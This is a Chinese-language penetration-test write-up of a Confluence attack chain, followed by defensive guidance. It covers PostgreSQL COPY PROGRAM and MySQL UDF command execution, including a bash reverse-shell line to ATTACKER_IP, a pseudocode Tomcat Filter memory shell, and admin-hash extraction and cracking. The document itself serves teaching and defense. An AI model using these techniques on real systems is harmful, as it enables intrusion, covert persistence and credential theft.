1. 项目概述:一次典型的企业应用安全攻防复盘
最近在内部的一次授权渗透测试中,遇到了一个运行着Confluence的企业环境。整个过程从发现一个不起眼的漏洞开始,最终演变成一次完整的权限提升和数据窃取链条,涉及数据库提权、内存马注入以及核心凭据的还原。这不仅仅是技术点的堆砌,更是一次对企业应用安全纵深防御体系的实战检验。对于安全从业者、运维人员甚至是开发同学来说,理解这个链条的每一个环节,都能帮助我们更好地加固自己的系统,防患于未然。Confluence作为广泛使用的企业知识管理与协作平台,其安全性直接关系到企业内部核心信息的保密性。本次记录将详细拆解从初始访问到获取最高权限的完整路径,并深入探讨每一步背后的技术原理与防御思路。
2. 攻击链全景与核心思路拆解
2.1 攻击链条总览与阶段划分
一次成功的渗透测试很少依赖于单一的“神洞”,更多是多个漏洞或配置缺陷的串联。本次针对Confluence环境的攻击链可以清晰地划分为四个阶段:
- 初始突破阶段:寻找并利用一个Web应用层面的漏洞(例如一个反序列化、模板注入或路径遍历漏洞),获取一个低权限的Webshell或命令执行点。这通常是整个链条的起点。
- 立足点巩固与内网探测阶段:在获得初始立足点后,进行基础信息收集(系统版本、网络配置、运行服务),并尝试横向移动,寻找更具价值的资产,例如数据库服务器。
- 权限提升阶段:这是本次记录的核心。当攻击者发现Confluence的数据库(通常是PostgreSQL或MySQL)并尝试连接时,可能会发现数据库用户权限较高。通过利用数据库特性(如PostgreSQL的COPY TO/FROM PROGRAM,或MySQL的UDF提权)或Confluence的数据存储逻辑,将数据库权限转化为操作系统权限,从而在数据库服务器或应用服务器上执行系统命令。
- 深度利用与凭据获取阶段:在获得系统权限后,攻击者会尝试驻留(如植入内存马)、窃取核心数据(如Confluence配置文件、数据库备份),并最终还原出管理员密码,实现对整个Confluence平台乃至关联系统的完全控制。
这个链条环环相扣,任何一个环节的防御加强都可能中断攻击者的进程。
2.2 为什么选择数据库作为提权跳板?
在攻防对抗中,Web应用服务器(如运行Confluence的Tomcat)通常受到较为严格的监控和防护(如WAF、RASP)。直接进行系统命令执行或上传文件容易被拦截。然而,与之关联的数据库服务器,其安全假设往往不同:
- 网络可达性:Confluence应用服务器通常需要与数据库服务器处于同一内网,并且有直接的网络连接。一旦突破Web应用,数据库就在“隔壁”。
- 权限配置疏漏:为了方便应用运行,Confluence连接数据库的用户(如
confluenceuser)往往被授予了较高的数据库权限(如超级用户权限SUPER、CREATE FUNCTION等),以便执行DDL操作或存储过程。这在运维中很常见,但却留下了巨大的安全隐患。 - 功能特性被滥用:数据库系统本身提供了一些强大的功能,这些功能在设计时是为了方便管理员,但在攻击者手中就成了利器。例如,PostgreSQL的“大对象”操作、
COPY命令执行操作系统命令,或者MySQL的用户定义函数(UDF)机制。
因此,从Web层漏洞转向攻击数据库层,是一种经典的“旁路”思路,往往能绕过应用层的安全防护,直击防御相对薄弱的后端系统。
3. 核心环节一:数据库提权技术细节解析
3.1 PostgreSQL场景下的命令执行
假设目标Confluence使用PostgreSQL作为后端数据库。在获取到数据库连接凭据(可能从Confluence的confluence.cfg.xml配置文件中泄露)后,攻击者会尝试利用PostgreSQL的特性。
利用COPY TO/FROM PROGRAM命令:PostgreSQL的COPY命令可用于在文件和表之间复制数据。而PROGRAM选项允许执行一个操作系统命令。
-- 假设我们已经通过某种方式(如SQL注入)在confluence数据库中执行了以下语句 DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;这段SQL会创建一个临时表,然后通过COPY FROM PROGRAM执行id命令,并将输出结果存入表中,最后查询展示。攻击者可以将id替换为任何系统命令,如反弹Shell命令。
利用“大对象”(Large Object)和lo_import:lo_import函数可以从文件系统读取文件内容作为大对象导入数据库。通过结合pg_largeobject系统表和服务器端编程语言(如PL/pgSQL),可以构造更复杂的利用链,甚至写入文件。例如,先通过lo_import将/etc/passwd导入,再通过查询将其内容读出。
注意:高版本的PostgreSQL(9.3以上)对
COPY PROGRAM和某些函数的权限做了更严格的限制,默认只有超级用户(superuser)才能使用。这正是为什么Confluence数据库用户权限过高如此危险的原因。如果连接用户不是超级用户,此路可能不通。
3.2 MySQL场景下的UDF提权
如果Confluence后端是MySQL,那么用户定义函数(UDF)提权是经典手法。其核心思路是:利用MySQL允许加载共享库(.so或.dll)来创建自定义函数的能力,从而执行系统命令。
关键步骤:
- 确认权限:首先需要确认当前MySQL用户具有
FILE权限(用于向服务器写文件)和创建函数的权限。SELECT file_priv FROM mysql.user WHERE user = CURRENT_USER(); SELECT @@plugin_dir; -- 查看插件目录路径 - 上传共享库文件:攻击者需要将一个包含恶意函数的共享库文件(如
lib_mysqludf_sys.sofor Linux 或lib_mysqludf_sys.dllfor Windows)上传到MySQL服务器的插件目录(plugin_dir)或任何MySQL有权限读取的目录。上传手段可能通过Web应用的任意文件上传漏洞,或利用MySQL的SELECT ... INTO DUMPFILE语句(需FILE权限)将十六进制内容写入文件。 - 创建UDF函数:使用
CREATE FUNCTION语句,将共享库中的函数映射为MySQL中的可用函数。CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; - 执行系统命令:现在就可以像调用普通MySQL函数一样调用
sys_exec来执行系统命令了。SELECT sys_exec('id > /tmp/out.txt'); SELECT sys_exec('/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"');
实操心得:
- 插件目录是关键:
@@plugin_dir指向的目录是MySQL搜索UDF库的默认路径。将库文件放在这里最可靠。如果无法写入该目录,可以尝试写入其他目录,并在SONAME中指定绝对路径,但这依赖于MySQL的secure_file_priv配置。 - 版本匹配:UDF库需要与MySQL服务器版本和操作系统架构(x86/x64)匹配,否则加载会失败。准备多种版本的库文件是实战中的常见做法。
- 动静结合:执行命令后,输出可能不会直接返回给客户端。通常需要将命令输出重定向到文件,然后再通过MySQL读取该文件内容,或者直接使用反弹Shell。
4. 核心环节二:内存马注入与持久化
4.1 为什么选择内存马?
在通过数据库提权获得系统命令执行能力后,攻击者通常会在应用服务器(如Tomcat)上植入一个Webshell。但写入文件的Webshell(JSP、PHP文件)会被安全软件扫描,也容易被运维人员发现文件变更。内存马(Memory Shell)则完全驻留在服务器的内存中,不落盘,因此具有极强的隐蔽性。
内存马的本质是向正在运行的Java应用(如Tomcat)动态注册一个恶意的Servlet、Filter或Listener。只要应用不重启,这个恶意组件就会一直存在并响应请求。对于Confluence(通常部署在Tomcat上),Filter型内存马是最常见和稳定的选择。
4.2 Filter内存马注入原理
Tomcat的Filter是Servlet规范中的组件,用于在请求到达Servlet之前或响应发出之前进行拦截处理。攻击者通过Java的反射(Reflection)和线程上下文类加载器(Thread Context Class Loader)机制,动态地将一个恶意Filter插入到目标Web应用的Filter链中。
注入流程拆解:
- 获取运行时上下文:首先需要获取当前Web应用的
ServletContext。这可以通过org.apache.catalina.core.ApplicationContext或从当前线程的类加载器链中寻找。 - 获取StandardContext:
ServletContext的Facade模式背后是Tomcat的ApplicationContext,再其背后是StandardContext。StandardContext是Tomcat中表示一个Web应用的核心对象,持有Filter的定义和映射信息。 - 创建恶意Filter:定义一个实现
javax.servlet.Filter接口的类,在其doFilter方法中实现Webshell逻辑(如接收参数执行命令)。这个类的字节码可以通过数据库提权后的命令执行能力,直接以Java代码形式编译,或更常见的是,预先准备好字节码的Base64字符串,在内存中通过defineClass加载。 - 动态注册Filter:通过反射调用
StandardContext的addFilter和addFilterMap等方法,将创建好的恶意Filter实例添加到应用中,并为其配置一个隐蔽的URL映射(如/favicon.ico、/static/..;/bypass等)。 - 启动Filter:最后需要调用Filter的
init方法使其生效。
一个高度简化的概念性代码片段(实际利用中会更复杂,涉及多次反射和异常处理):
// 伪代码,展示核心逻辑 // 1. 获取当前线程的上下文类加载器 ClassLoader webappClassLoader = Thread.currentThread().getContextClassLoader(); // 2. 通过反射获取StandardContext对象 Field contextField = ... // 一系列反射操作获取ApplicationContext进而获取StandardContext StandardContext standardContext = (StandardContext) contextField.get(...); // 3. 定义恶意Filter类 String evilFilterClassName = "EvilMemShellFilter"; byte[] evilClassBytes = ... // 恶意Filter的字节码 Class evilFilterClass = defineClass(evilFilterClassName, evilClassBytes, webappClassLoader); // 4. 创建Filter定义(FilterDef)和映射(FilterMap) FilterDef filterDef = new FilterDef(); filterDef.setFilterClass(evilFilterClass.getName()); filterDef.setFilterName("myEvilFilter"); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); // 拦截所有请求 filterMap.setFilterName("myEvilFilter"); standardContext.addFilterMap(filterMap); // 5. 创建Filter实例并初始化 Filter filter = (Filter) evilFilterClass.newInstance(); filter.init(new FilterConfig() { ... }); // 将filter实例存入context的属性中以便后续访问 standardContext.getServletContext().setAttribute("myEvilFilterInstance", filter);完成以上步骤后,访问任何匹配的URL,请求都会经过这个恶意Filter,攻击者通过传递特定参数(如?cmd=whoami)即可实现远程命令执行。
重要提示:内存马注入对Java版本、Tomcat版本以及应用本身的Filter链结构非常敏感。不同环境下的获取
StandardContext的反射路径可能不同,需要做兼容性处理。这也是冰蝎、哥斯拉等工具的内存马模块需要不断更新的原因。
5. 核心环节三:管理员密码还原与数据窃取
5.1 Confluence凭据存储机制
Confluence并非直接存储用户的明文密码。它使用一种加盐哈希(Salted Hash)的方式来存储密码凭证。关键信息位于数据库的cwd_user表中,主要字段包括:
user_name: 用户名。credential: 密码哈希值。其格式在过去几年有所演变。directory_id: 指向用户目录,与认证方式相关。
在较新版本中,Confluence使用基于bcrypt或PBKDF2的哈希算法,并会存储一个“盐”(salt)值。攻击者即使获取了哈希值,也无法直接逆向得到密码,只能通过暴力破解或彩虹表攻击。
5.2 获取与破解密码哈希
- 直接数据库查询:在已经具备数据库访问权限的情况下,可以直接导出
cwd_user表,重点关注管理员账户(如admin)。SELECT user_name, credential, directory_id FROM cwd_user WHERE user_name = 'admin'; - 从配置文件获取:Confluence的配置文件
confluence.cfg.xml通常位于Confluence的主目录下。该文件不仅包含数据库连接字符串(可能含密码),在某些配置或旧版本中,也可能包含用于加密其他数据的密钥(atlassian.security.xml中的security.encryption.private.key)。获取这个密钥对解密某些存储的数据至关重要。 - 破解哈希:获取到哈希值后,可以使用离线密码破解工具如
hashcat或John the Ripper进行破解。需要根据哈希格式指定正确的破解模式(例如,bcrypt对应hashcat的-m 3200)。成功率取决于密码的复杂度和攻击者的算力资源。# 示例:使用hashcat破解bcrypt哈希 echo '$2a$10$SomeSaltSomeHashedValue' > hash.txt hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt - 利用备份或缓存文件:有时,Confluence的备份文件或缓存文件中可能包含临时存储的敏感信息。攻击者在获得系统权限后,会全面搜索磁盘,寻找包含“password”、“credential”、“hash”等关键词的文件。
5.3 完整链条串联:从内存马到密码还原
至此,整个攻击链条可以完整串联起来:
- 攻击者通过Web漏洞(如CVE-2023-22527)获得一个命令执行点。
- 利用该点读取
confluence.cfg.xml,获取数据库密码。 - 连接数据库,发现用户具有高权限,利用PostgreSQL的
COPY PROGRAM或MySQL UDF在数据库服务器上执行系统命令。 - 通过数据库提权获得的Shell,进一步渗透到应用服务器(可能数据库与Confluence同机部署),或者直接在当前环境下操作。
- 向运行Confluence的Tomcat进程注入Filter内存马,建立一个隐蔽的、不落地的持久化后门。
- 通过内存马继续执行命令,深入搜索文件系统,获取更多的配置文件、数据库备份或日志文件。
- 从数据库或配置文件中提取管理员用户的密码哈希值。
- 在本地使用强大的密码破解工具集对哈希进行离线破解,最终还原出明文密码。
- 使用管理员账号密码正常登录Confluence,获取所有页面、附件和用户数据的完全访问权限,攻击目标达成。
6. 防御策略与排查建议
6.1 针对各环节的防御加固
- 应用层(起点防御):
- 及时更新:密切关注Atlassian官方安全公告,第一时间为Confluence打上安全补丁。绝大多数初始入侵都源于未修复的已知漏洞。
- 最小权限原则:运行Confluence的Tomcat服务应使用专用的、低权限的系统用户,避免使用root或administrator。
- 部署WAF/RASP:Web应用防火墙和运行时应用自保护可以有效拦截漏洞利用攻击,增加攻击成本。
- 数据库层(关键跳板防御):
- 数据库连接权限最小化:为Confluence创建专用的数据库用户,并仅授予其必需的权限。绝对不要使用数据库的超级用户(如PostgreSQL的
postgres, MySQL的root)。只授予SELECT,INSERT,UPDATE,DELETE,CREATE,DROP等应用运行必需的权限,坚决收回FILE,SUPER,PROCESS,COPY PROGRAM等高危权限。 - 网络隔离:将数据库服务器置于独立的子网或VPC中,严格限制访问来源IP,只允许Confluence应用服务器的IP连接数据库的特定端口。
- 数据库自身加固:启用数据库的审计日志;定期修改数据库密码;对于MySQL,设置
secure_file_priv为受限目录。
- 数据库连接权限最小化:为Confluence创建专用的数据库用户,并仅授予其必需的权限。绝对不要使用数据库的超级用户(如PostgreSQL的
- 主机与运行时层(最后防线):
- 定期排查内存马:使用专业的内存马检测工具或脚本进行定期扫描。可以检查Tomcat的
StandardContext中的filterDefs和filterMaps,寻找未在web.xml中声明的可疑Filter。 - 监控异常网络连接与进程:监控服务器上是否存在未知的外联连接或可疑的子进程。
- 文件完整性监控:监控
confluence.cfg.xml等关键配置文件的变更。 - 强密码策略:确保Confluence管理员账户使用高强度、唯一的密码,降低哈希被破解的风险。启用多因素认证(MFA)。
- 定期排查内存马:使用专业的内存马检测工具或脚本进行定期扫描。可以检查Tomcat的
6.2 应急响应与排查技巧
如果怀疑系统已被入侵,可以按以下步骤进行排查:
- 检查网络连接:使用
netstat -antp或ss -antp查看异常的外联IP和端口,特别是连接到未知地址的Java进程。 - 检查进程与命令历史:查看Tomcat/Java进程的启动参数,检查系统命令历史(
~/.bash_history),寻找可疑命令。 - 扫描Webshell:使用D盾、河马等Webshell扫描工具对Web目录进行全盘扫描。同时,不要忘记内存马的排查。
- 分析访问日志:重点分析Confluence访问日志(
atlassian-confluence-access.log),寻找异常的URL访问模式,特别是带有常见Webshell参数(如cmd、exec、code)的请求,或者访问路径中带有;、..等特殊字符的请求。 - 数据库审计:检查数据库的通用日志或慢查询日志,寻找异常的大批量数据查询、
COPY、INTO OUTFILE、CREATE FUNCTION等敏感操作语句。 - 对比文件与配置:与干净的备份版本对比
confluence.cfg.xml、web.xml等关键文件。检查是否有新增的JSP文件或JAR包。 - 重置凭据:在隔离环境后,立即重置Confluence管理员密码、数据库密码以及服务器SSH密码。
整个攻防过程就像一场猫鼠游戏。攻击者在不断寻找防御链条中最薄弱的一环,而防御者则需要确保每一环都足够坚固。通过深入理解攻击者的完整链条,我们才能更有针对性地构建起真正有效的安全防线。对于企业而言,安全不是某个产品,而是一个贯穿于系统设计、开发、部署、运维全生命周期的持续过程。